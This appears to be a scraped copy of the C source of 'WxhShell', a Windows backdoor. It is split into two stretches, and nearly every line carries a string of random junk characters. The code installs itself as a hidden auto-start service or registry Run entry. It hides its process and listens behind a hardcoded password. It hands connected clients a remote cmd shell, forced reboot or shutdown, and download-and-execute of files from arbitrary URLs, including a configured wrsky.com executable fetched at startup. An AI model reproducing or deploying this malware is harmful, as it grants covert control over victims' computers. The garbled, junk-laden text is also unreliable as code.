    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); W ~NYU  
    if(Boot(SHUTDOWN)) }n[Bq#  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); , ` o+ ?  
    else { U~/ID  
    closesocket(wsh); VDiOO  
    ExitThread(0); DL4iXULNY  
    } ?Aw3lH#:  
    break; Qlh?iA  
    } $G3@< BIN  
  // 获取shell f3n~{a,[  
  case 's': { u[EK#%  
    CmdShell(wsh); _FsB6 G]mc  
    closesocket(wsh); f_'"KF[%  
    ExitThread(0); -tyaE  
    break; } 07r  
  } xwOE+  
  // 退出 0b++ 17aV  
  case 'x': { 5hz_P+Q  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); @p]UvqtB@  
    CloseIt(wsh); 8\_*1h40s  
    break; qTy v.#{y  
    } KPggDKS  
  // 离开 JqEb;NiP)5  
  case 'q': { :8]6#c6`74  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); e=J*Esc@k  
    closesocket(wsh); sam[s4@eQ  
    WSACleanup(); Hirr=a3  
    exit(1); wY`#$)O0*  
    break; ZIW7_Y>_  
        } K~@`o-Z[  
  } "dq>) JF\  
  } ]_ #SAhOR)  
gh61H:tkR  
  // 提示信息 <<<NXsH  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); (&c,twa~  
} GNZ#q)qT  
  } {(0Id!  
+XQP jg  
  return; tqhh<u;  
} '!@A}&]  
8Fx]koP.  
// shell模块句柄 |^!Vo&T  
int CmdShell(SOCKET sock) /.@x 4cdS  
{ . s-5N\  
STARTUPINFO si; xB,/dMdTj  
ZeroMemory(&si,sizeof(si)); +7Rt{C,  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; iAHZ0Du  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 2@ *<9-9  
PROCESS_INFORMATION ProcessInfo; Tzf$*Uje3  
char cmdline[]="cmd"; 8_ X.c  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); xT=ySa$|>  
  return 0; nl9kYE [  
} c(&AnIlS  
rkIMM,   
// 自身启动模式 |0]YA  
int StartFromService(void) dk:xnX%  
{ rXDJ:NP  
typedef struct @ExLh9  
{ zzE]M}s  
  DWORD ExitStatus; 5"uNj<.V  
  DWORD PebBaseAddress; y($EK(cb  
  DWORD AffinityMask; 3P`WPph  
  DWORD BasePriority; f}blB?e  
  ULONG UniqueProcessId; #/s7\2  
  ULONG InheritedFromUniqueProcessId; NfqJ=9  
}   PROCESS_BASIC_INFORMATION; I1i:}g/  
"$P'Wv  
PROCNTQSIP NtQueryInformationProcess; %2YN,a4  
v^\JWPR/  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; DZ2Fl>7  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; f-&ATTx`J  
t)!V +Qcb  
  HANDLE             hProcess; SctJxY(}!  
  PROCESS_BASIC_INFORMATION pbi; $>![wZ3  
SdSgn|S  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Q[jI=$Q)  
  if(NULL == hInst ) return 0; R. O  
?-S8yqe  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); wA1Ey:q  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); W[fT R?n  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); []=_<]{  
T;J7+0  
  if (!NtQueryInformationProcess) return 0; $)f"K  
i0b.AA  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); \#2 s4RCji  
  if(!hProcess) return 0; BPh".RJ  
'9"%@AFxZ  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; V07VwVD  
Yfe'#MKfL  
  CloseHandle(hProcess); P*7S3Td  
dB@FI  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); X0!Bs-WFp  
if(hProcess==NULL) return 0; Enu!u~1]F  
F$[)Bd/"  
HMODULE hMod; v` $%G  
char procName[255]; W oWBs)E  
unsigned long cbNeeded; FN>L7 *,0  
df^0{gNHx  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); m[W/j/$A+x  
N6WPTUQ1mF  
  CloseHandle(hProcess); rykj2/O  
8-A:k E  
if(strstr(procName,"services")) return 1; // 以服务启动 aDN.gM S  
1z3]PA!R  
  return 0; // 注册表启动 \FVNXU MU  
} B#QL M^  
b]"2 VN  
// 主模块 }#&~w 0P  
int StartWxhshell(LPSTR lpCmdLine) sbgJw  
{ eVrnVPkM  
  SOCKET wsl; )=y.^@UT@  
BOOL val=TRUE; Q*Y 4m8wY  
  int port=0; K[*h+YO  
  struct sockaddr_in door; zUJx&5/  
lQh~Q<[ge  
  if(wscfg.ws_autoins) Install(); 40R"^*  
fjcr<&{:  
port=atoi(lpCmdLine); Bpm,mp4g\#  
0e)lY='^_  
if(port<=0) port=wscfg.ws_port; > CH  
xUQdVrFU  
  WSADATA data; '^e0Ud,  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; hI*`>9l  
|y klT  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   'y< t/qo  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); bB y'v/  
  door.sin_family = AF_INET; y?"$(%3|  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); akMJ4EF/  
  door.sin_port = htons(port);  ccRlql(  
x!OWJ/O  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { J`4Z<b53  
closesocket(wsl); Y$>+U  
return 1; PL9<*.U"=  
} *3 !(*F@M,  
dr.**fGYde  
  if(listen(wsl,2) == INVALID_SOCKET) { (Z5q&#f  
closesocket(wsl); U[IQ1AEr  
return 1; E=}6 X9X  
} vz- 9<w;>a  
  Wxhshell(wsl); yq1Gqbh l  
  WSACleanup(); qI(W$  
tsck|;v  
return 0; aXQ&@BZ {j  
AbL5 !'  
} m\_+)eI|  
7F"3<U@J  
// 以NT服务方式启动 3(MoXA*  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) >ze>Xr'm5=  
{ BHEs+ e0  
DWORD   status = 0; 4A;[s m^f  
  DWORD   specificError = 0xfffffff; dUI3erO  
Rk}\)r\  
  serviceStatus.dwServiceType     = SERVICE_WIN32; MgHOj   
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; mluW=fE  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; p 7 , f6kG  
  serviceStatus.dwWin32ExitCode     = 0; 3gC\{y!8  
  serviceStatus.dwServiceSpecificExitCode = 0; ]gH wfqx  
  serviceStatus.dwCheckPoint       = 0; TViBCed40  
  serviceStatus.dwWaitHint       = 0; {F<)z% ^  
@mvIt  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); zB;'_[8M  
  if (hServiceStatusHandle==0) return; AU3auBol ^  
Jw2B&)k/  
status = GetLastError(); MKV=m8G=  
  if (status!=NO_ERROR) 2r %>]y  
{ 9 aY'0wa  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ?$UH9T9)  
    serviceStatus.dwCheckPoint       = 0; Qk?jGXB>^  
    serviceStatus.dwWaitHint       = 0; I).=v{@9V<  
    serviceStatus.dwWin32ExitCode     = status; &,^mM' C  
    serviceStatus.dwServiceSpecificExitCode = specificError; u wH)$Pl  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); >Kz_My9  
    return; ,jAx%]@,I  
  } yb[{aL^4%  
SCgyp(  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; _2NN 1/F5  
  serviceStatus.dwCheckPoint       = 0; xylpiSJ  
  serviceStatus.dwWaitHint       = 0; >`<Ued  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 3Cq6h;!#  
} ^RYn8I  
lF0K=L  
// 处理NT服务事件,比如:启动、停止 D."cQ<sxpN  
VOID WINAPI NTServiceHandler(DWORD fdwControl) _{N0OX  
{ 9 yh9HE  
switch(fdwControl) N7d17c. 5  
{ (J6" ;  
case SERVICE_CONTROL_STOP: "9c.CI  
  serviceStatus.dwWin32ExitCode = 0; yTzY?  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; *rS9eej  
  serviceStatus.dwCheckPoint   = 0; 6Hc H'nmeN  
  serviceStatus.dwWaitHint     = 0; H+S~ bzz  
  { Ly#h|)  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ~%olCxfO  
  } \;nD)<)J  
  return; 6H(fk1E  
case SERVICE_CONTROL_PAUSE: Xg|8".B)A  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; D+bB G  
  break; Nr> c'TH  
case SERVICE_CONTROL_CONTINUE: 4JX`>a{<  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; /X(@|tk:  
  break; @N,:x\  
case SERVICE_CONTROL_INTERROGATE: ;k9 ?  
  break; 3r,1^h  
}; G3Idxs  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 6a "VCE]  
} ap Fs UsE  
*ge].E  
// 标准应用程序主函数 ^+(A&PyP?  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) y0/WA4,  
{ "6NFe!/Y$*  
Dj-\))L  
// 获取操作系统版本 o0zc}mm  
OsIsNt=GetOsVer(); ;cM8EU^.  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 1x~%Ydy  
$sA,$x:^xI  
  // 从命令行安装 Qv9*p('~A  
  if(strpbrk(lpCmdLine,"iI")) Install(); l.__10{  
-@EBbM&  
  // 下载执行文件 qZT 4+&y  
if(wscfg.ws_downexe) { Wl^prs7}c  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) oUW )H  
  WinExec(wscfg.ws_filenam,SW_HIDE); +=|hMQ;  
} 71oFm1m{  
-X"5G  
if(!OsIsNt) { Z! C`f/h9  
// 如果时win9x,隐藏进程并且设置为注册表启动 $nUd\B$.=  
HideProc(); 6{JR0  
StartWxhshell(lpCmdLine); " #mXsp-ut  
} *u|lmALs  
else >P6^k!R1y  
  if(StartFromService()) /'8*aUa  
  // 以服务方式启动 {0NsDi>(2  
  StartServiceCtrlDispatcher(DispatchTable); {-xi0D/Y;  
else 5~_eN  
  // 普通方式启动 an*]62l  
  StartWxhshell(lpCmdLine); QU-7Ch#8  
%NF<bEV  
return 0; w Mlf3Uz  
} Tf&f`/  
`jD8(}_  
/|4Q9=  
dWzDSlP&  
=========================================== R&u)=~O\5  
WUE)SVf  
^kCk^D-Gz  
'Z*\1Ci  
u)q2YLK8  
e3yorQ][  
" KuIt[oM  
e.)yV'%L  
#include <stdio.h> }};j2  
#include <string.h> 1kB'sc3N!  
#include <windows.h> SQO>}#qm  
#include <winsock2.h> Bi9 N  
#include <winsvc.h> { 4_I7r  
#include <urlmon.h> d-6sC@PB  
VfL]O8P>  
#pragma comment (lib, "Ws2_32.lib") x'E'jh%  
#pragma comment (lib, "urlmon.lib") lfU"SSQ  
N>&{Wl'y\  
#define MAX_USER   100 // 最大客户端连接数 8{}Pj  
#define BUF_SOCK   200 // sock buffer ZI2K-z'e  
#define KEY_BUFF   255 // 输入 buffer gmF_~"^34  
ZYwBw:y}y  
#define REBOOT     0   // 重启 p`E|SNt/W  
#define SHUTDOWN   1   // 关机 f"5lOzj`C  
&y#\1K  
#define DEF_PORT   5000 // 监听端口 ^]#Ptoz^(l  
(uuEjM$3%  
#define REG_LEN     16   // 注册表键长度 Pi&fwGL  
#define SVC_LEN     80   // NT服务名长度 B|]t\(~$ [  
Vze!/ED  
// 从dll定义API %fn'iKCB  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); "k\Ff50  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); JEK%yMj  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); F"B<R~  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ct2_N  
"v\ bMuS  
// wxhshell配置信息 x[GFX8h(k6  
struct WSCFG { `@f hge  
  int ws_port;         // 监听端口 hQg,#r(JE4  
  char ws_passstr[REG_LEN]; // 口令 k=h/i8i2z  
  int ws_autoins;       // 安装标记, 1=yes 0=no N27K  
  char ws_regname[REG_LEN]; // 注册表键名 mFgb_Cd  
  char ws_svcname[REG_LEN]; // 服务名 ),D`ZRXS  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 uZqu xu.  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 qHC*$v#.V?  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 SHXa{-  
int ws_downexe;       // 下载执行标记, 1=yes 0=no i#@v_^q  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" gqO%^b)6  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 b.mjQ  
#"=yQZ6Y  
}; 4 BE:&A  
]zhq.O >2{  
// default Wxhshell configuration V:,3OLL*  
struct WSCFG wscfg={DEF_PORT, .  T6_N  
    "xuhuanlingzhe", F'?5V0\he  
    1, _-|yCo  
    "Wxhshell", tKs4}vW  
    "Wxhshell", ;9!yh\\   
            "WxhShell Service", |h^G$guw  
    "Wrsky Windows CmdShell Service", vjs|!O=oH  
    "Please Input Your Password: ", gNEzlx8A  
  1, H649J)v+m  
  "http://www.wrsky.com/wxhshell.exe", evndw>  
  "Wxhshell.exe" t(z(-G|&  
    }; T0*TTB&b  
@ 2%.>0s.  
// 消息定义模块 6S! lD=  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; m5'__<  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 2kp|zX(  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; EvH(Po h  
char *msg_ws_ext="\n\rExit."; T_(e(5  
char *msg_ws_end="\n\rQuit."; .=b +O~  
char *msg_ws_boot="\n\rReboot..."; #RLch  
char *msg_ws_poff="\n\rShutdown..."; Q8DQ .C  
char *msg_ws_down="\n\rSave to "; %WJ{IXlz  
bY"eC i{K  
char *msg_ws_err="\n\rErr!"; Ol/2%UJXL  
char *msg_ws_ok="\n\rOK!"; HAI1%F236  
Y bn=Gy  
char ExeFile[MAX_PATH]; 6gg#Z  
int nUser = 0; <750-d!  
HANDLE handles[MAX_USER]; <@x+N%C  
int OsIsNt; RBv=  
$E4O^0%/p  
SERVICE_STATUS       serviceStatus; X('Q;^`  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; `3>)BV<P  
L!+[]tB  
// 函数声明 )K\k6HC.  
int Install(void); 6&OonYsP  
int Uninstall(void); uc"[qT(X  
int DownloadFile(char *sURL, SOCKET wsh); H z < M  
int Boot(int flag); Skk3M?  
void HideProc(void); VvM U)  
int GetOsVer(void); Tl/Dq(8JH  
int Wxhshell(SOCKET wsl); ^Lg{2hjj  
void TalkWithClient(void *cs); P :7l#/x_  
int CmdShell(SOCKET sock); qed!C  
int StartFromService(void); 0\_R|i_`>  
int StartWxhshell(LPSTR lpCmdLine); `aX}.{.!  
UQji7K }  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); zOu$H[  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); d'g{K]=tF  
0|DG\&?  
// 数据结构和表定义 D)/XP  
SERVICE_TABLE_ENTRY DispatchTable[] = !3X%5=#L4  
{ Tm~#wL +r  
{wscfg.ws_svcname, NTServiceMain}, U*qK*"k  
{NULL, NULL} !Pi? !  
}; 9V4V}[%  
v\?\(Y55Y  
// 自我安装 c;t(j'k`  
int Install(void) eed\0  
{ P+zI9~N[  
  char svExeFile[MAX_PATH]; @x-GbK?  
  HKEY key; o7 -h'b-  
  strcpy(svExeFile,ExeFile); C"m0"O>  
Nh7!Ah  
// 如果是win9x系统,修改注册表设为自启动 -) v p&-  
if(!OsIsNt) { n]ppO U|[  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { c&I,eds  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); h>5~ (n8  
  RegCloseKey(key); B|q3;P  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ! ,(bXa\^  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); dXK~ Z:  
  RegCloseKey(key); W%jX-  
  return 0; IDk:jO  
    } TeN1\rA,  
  } # V9hG9%8  
} S>ylAU;N  
else { .pu`\BW>  
Uf]Pd)D  
// 如果是NT以上系统,安装为系统服务 fPk9(X;G!p  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); b8b PK<  
if (schSCManager!=0) ``YL] <<  
{ B43#9CK`o  
  SC_HANDLE schService = CreateService %},S#5L3  
  ( zH\;pmWiN9  
  schSCManager, HI?~t| [y  
  wscfg.ws_svcname, JpHsQ8<  
  wscfg.ws_svcdisp, TI7Ty+s  
  SERVICE_ALL_ACCESS, /qQ2@k  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ]#7Y @Yo  
  SERVICE_AUTO_START, MPEBinE?  
  SERVICE_ERROR_NORMAL, Nxs%~ wZ   
  svExeFile, 6~Oje>w;  
  NULL, uA}FuOE6  
  NULL, ?KuJs9SM  
  NULL, fN%5D z-e  
  NULL, +MoxvW6  
  NULL +fQ$~vr{'  
  ); O>):^$-K%  
  if (schService!=0) #pn AK  
  { tIy/QN_42  
  CloseServiceHandle(schService); 2mp>Mn~K^  
  CloseServiceHandle(schSCManager); E~O>m8hF  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); )I UWM  
  strcat(svExeFile,wscfg.ws_svcname); 9kg>)ty@  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { +5}T!r  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); |(w#NE5  
  RegCloseKey(key); ;<)-*?m9  
  return 0; C"|_j?  
    } ghO//?m  
  } z^HlDwsbm  
  CloseServiceHandle(schSCManager); 8RT0&[  
} 0}C}\1  
} (Gk]<`d#N  
G@I_6c E  
return 1; T^H) lC#R  
} Xqva&/-  
J1ro\"  
// 自我卸载 1#_j6 Q2  
int Uninstall(void) )xy{[ K|M(  
{ C%o/  
  HKEY key; KZ/^gR\d  
EsxTBg  
if(!OsIsNt) { Zu73x#pI  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 3bL2fsn5  
  RegDeleteValue(key,wscfg.ws_regname); W oG  
  RegCloseKey(key); ph'SS=!.  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { { rJF)\2  
  RegDeleteValue(key,wscfg.ws_regname); O*Pe [T5x'  
  RegCloseKey(key); Ytnr$*5.  
  return 0; LK}eU,m=  
  } /%'7sx[p  
} Y~ ?YA/.x  
} |B WK"G  
else { H9m2Whq  
MZMv.OeYt,  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); @y2Bq['  
if (schSCManager!=0) >oYwzK0&  
{ $[;eb,  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); \J g#X:d  
  if (schService!=0) L#MxB|fcr  
  { Pw{{+PBu R  
  if(DeleteService(schService)!=0) { @%85k/(  
  CloseServiceHandle(schService); Y$5v3E\uc  
  CloseServiceHandle(schSCManager); Kyiez]T6%q  
  return 0; w}<I\*\`!  
  } x(6.W"-S  
  CloseServiceHandle(schService); 7Ki7N{K t  
  } m64\@ [  
  CloseServiceHandle(schSCManager); ]`U?<9~Ob  
} z#67rh {  
} 7uH{UpslJ  
nE$ V<Co}  
return 1; d"uM7PMs7x  
} 05zdy-Fb  
TbM*?\7  
// 从指定url下载文件 `.Q3s?1F  
int DownloadFile(char *sURL, SOCKET wsh) 0#GwhB  
{ U.} =j'Us+  
  HRESULT hr; v" TH[}C9D  
char seps[]= "/"; u<r('IW0  
char *token; @  MoMU  
char *file; A+ *(Pds  
char myURL[MAX_PATH]; K4L#%KUPW  
char myFILE[MAX_PATH]; rxA)&  
NGGd6V%'-  
strcpy(myURL,sURL); !Bbwl-e`  
  token=strtok(myURL,seps); :iiTz$yk  
  while(token!=NULL) bvvx(?!  
  { p tfADG  
    file=token; itMc!bUQ  
  token=strtok(NULL,seps); G2k71{jK  
  } 2Ps `!Y5  
GgZf6~b1J  
GetCurrentDirectory(MAX_PATH,myFILE); \:28z  
strcat(myFILE, "\\"); dL"i\5#%A  
strcat(myFILE, file); "2j~3aWj  
  send(wsh,myFILE,strlen(myFILE),0); !t{!.  
send(wsh,"...",3,0); m5g: Q  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); )Em,3I/.l  
  if(hr==S_OK) o : DnZN  
return 0; #?| z&9  
else S8<aq P  
return 1; \"j1fAD!  
}('QIvq2  
} 6% axbB  
IMEoov-x  
// 系统电源模块 (jMp`4P  
int Boot(int flag) }Ec"&  
{ lK@r?w|<M  
  HANDLE hToken; '*.};t~;"d  
  TOKEN_PRIVILEGES tkp; JYU Ks~Qt  
*xKR;?.  
  if(OsIsNt) { t":>O0>cz  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); +}'K6x_  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); "FD~XSRL  
    tkp.PrivilegeCount = 1; ^el:)$  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Pk2 "\y@q/  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Z)4P>{  
if(flag==REBOOT) { YZD]<ptR  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) MkG ->*  
  return 0; Jrl xa3 [  
} }k~0R-m  
else { ,PAKPX9v_F  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) G _o4A:2  
  return 0;  3".W  
} >?x Vr  
  } 3N\X{za  
  else { Dne&YVF9V  
if(flag==REBOOT) { rbWFq|(_  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) !qq@F%tv  
  return 0; 1Pc'wfj  
} ?RyvM_(N6  
else { U:(t9NX b  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) @UBp;pb}=h  
  return 0; >X,6  
} W`kgYGnFG  
} .!! yj,bQz  
sk/ Mh8z  
return 1; bZJiubBRI  
} dD!SgK[Jv  
N9Vcp~;  
// win9x进程隐藏模块 A&#Bf#!G  
void HideProc(void) KcE=m\h  
{ J0o[WD$A x  
U[u6UG  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); tL|Q{+i yE  
  if ( hKernel != NULL ) W[ DB !ue  
  { [ j_jee  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); YN3uhd[2  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); v4zARE9#  
    FreeLibrary(hKernel); wVB8PO8  
  } r e2%e-F"  
d?qz7#kc  
return; XO>Y*7rO  
} *QJ/DC$  
Pr"ESd>Y  
// 获取操作系统版本 qKXn=J/0tA  
int GetOsVer(void) s,= ^V/c  
{ v%w]Q B  
  OSVERSIONINFO winfo; fk_i~K  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); .l!Z=n|  
  GetVersionEx(&winfo); ^ TS\x/P  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) MvA_tRO  
  return 1; 'rgV]Oy  
  else vJs /ett  
  return 0; 7 #`:m|$  
} "~ 6B C  
*{bqHMd4L  
// 客户端句柄模块 7dRU7p>  
int Wxhshell(SOCKET wsl) uq_SF.a'v  
{ "k/x+%!Spc  
  SOCKET wsh; u-$AFSt  
  struct sockaddr_in client; +iR ;D$w  
  DWORD myID; aJ ts  
>#Y q&@G  
  while(nUser<MAX_USER) )sr]}S0  
{  Qy%/+9L  
  int nSize=sizeof(client); <dZ{E7l  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 70Am]L&M  
  if(wsh==INVALID_SOCKET) return 1; JP]K\nQx'  
m[XN,IE#u  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); rv[\2@}  
if(handles[nUser]==0) wKN9HT  
  closesocket(wsh); 1*"Uc!7.%  
else ueOvBFgZ  
  nUser++; &+sN= J.x  
  } =G`m7!Q)  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); qi$8GX=~r  
!E8JpE|z#  
  return 0; $}829<gh7  
} g|oPRC$I'  
VI4d/2e  
// 关闭 socket R.7" ZG  
void CloseIt(SOCKET wsh) J&?kezs  
{ S;C3R5*:  
closesocket(wsh); POf \l  
nUser--; YZ}gZQ.A0  
ExitThread(0); oT'XcMn  
} Jq->DzSmj/  
w K+2;*bI  
// 客户端请求句柄 uE2Y n`Ha  
void TalkWithClient(void *cs) ME(!xI//JZ  
{ fHiCuF  
mTt 9 o9E  
  SOCKET wsh=(SOCKET)cs; b({2|R  
  char pwd[SVC_LEN]; BdTj0{S1u  
  char cmd[KEY_BUFF]; j8b:+io  
char chr[1]; XpGom;z^c  
int i,j; [O3R(`<e5  
F^ f]*MhT"  
  while (nUser < MAX_USER) { (0S"ZT  
LImD]e`  
if(wscfg.ws_passstr) { sdY6_HtE  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); !dGgLU_  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 9D bp`%j  
  //ZeroMemory(pwd,KEY_BUFF); 6\`,blkX  
      i=0; 6\bbP>ql  
  while(i<SVC_LEN) { s}.nh>Q  
AxeWj%w@  
  // 设置超时 Kfi A 7W  
  fd_set FdRead; _MR2,mC  
  struct timeval TimeOut; sTb/l!=o  
  FD_ZERO(&FdRead); cIX59y#7  
  FD_SET(wsh,&FdRead); :p{iBDA  
  TimeOut.tv_sec=8; f,$CiZ"  
  TimeOut.tv_usec=0; `4o;Lz~  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); IRQ(/:]  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); X!@Gv:TD  
gyPF!"!5dq  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); h ( Z7a%_  
  pwd=chr[0]; O;XF'r_  
  if(chr[0]==0xd || chr[0]==0xa) { P _ SJK  
  pwd=0; myYe~f4=HQ  
  break; 9'tM65K  
  } mb#)w`<  
  i++; Yv{AoL~  
    } 6l=n&YO  
:KFhryN  
  // 如果是非法用户,关闭 socket 4]cOTXk9C  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 3K'3Xp@A  
} q/[)mr|~  
`s+qz  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 6x{B  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); aRV<y8{9  
1F=x~FMvY  
while(1) { 6 @d( <Z  
9SrV,~zD  
  ZeroMemory(cmd,KEY_BUFF); TiOvrp7B  
9(C Ke,  
      // 自动支持客户端 telnet标准   -~5yl}  
  j=0; 6V8"[0U  
  while(j<KEY_BUFF) { P -Pt{:  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 3 3V/<v  
  cmd[j]=chr[0]; XdB8Oj~~  
  if(chr[0]==0xa || chr[0]==0xd) { /A>/]2(  
  cmd[j]=0; Lpn`HAw&  
  break; p%?R;W`u2  
  } m$4Gm(Up  
  j++; m\t %wr  
    }  E$G8-  
&1I0i[R  
  // 下载文件 ,+JAwII>O  
  if(strstr(cmd,"http://")) { CV`  I.  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); { d/k0H  
  if(DownloadFile(cmd,wsh)) | o?@Eh  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); /5o~$S  
  else "e(N h%t  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); @M(vaJB8u  
  } IE|$>q0Z  
  else { R4o_zwWgPw  
v(af aN  
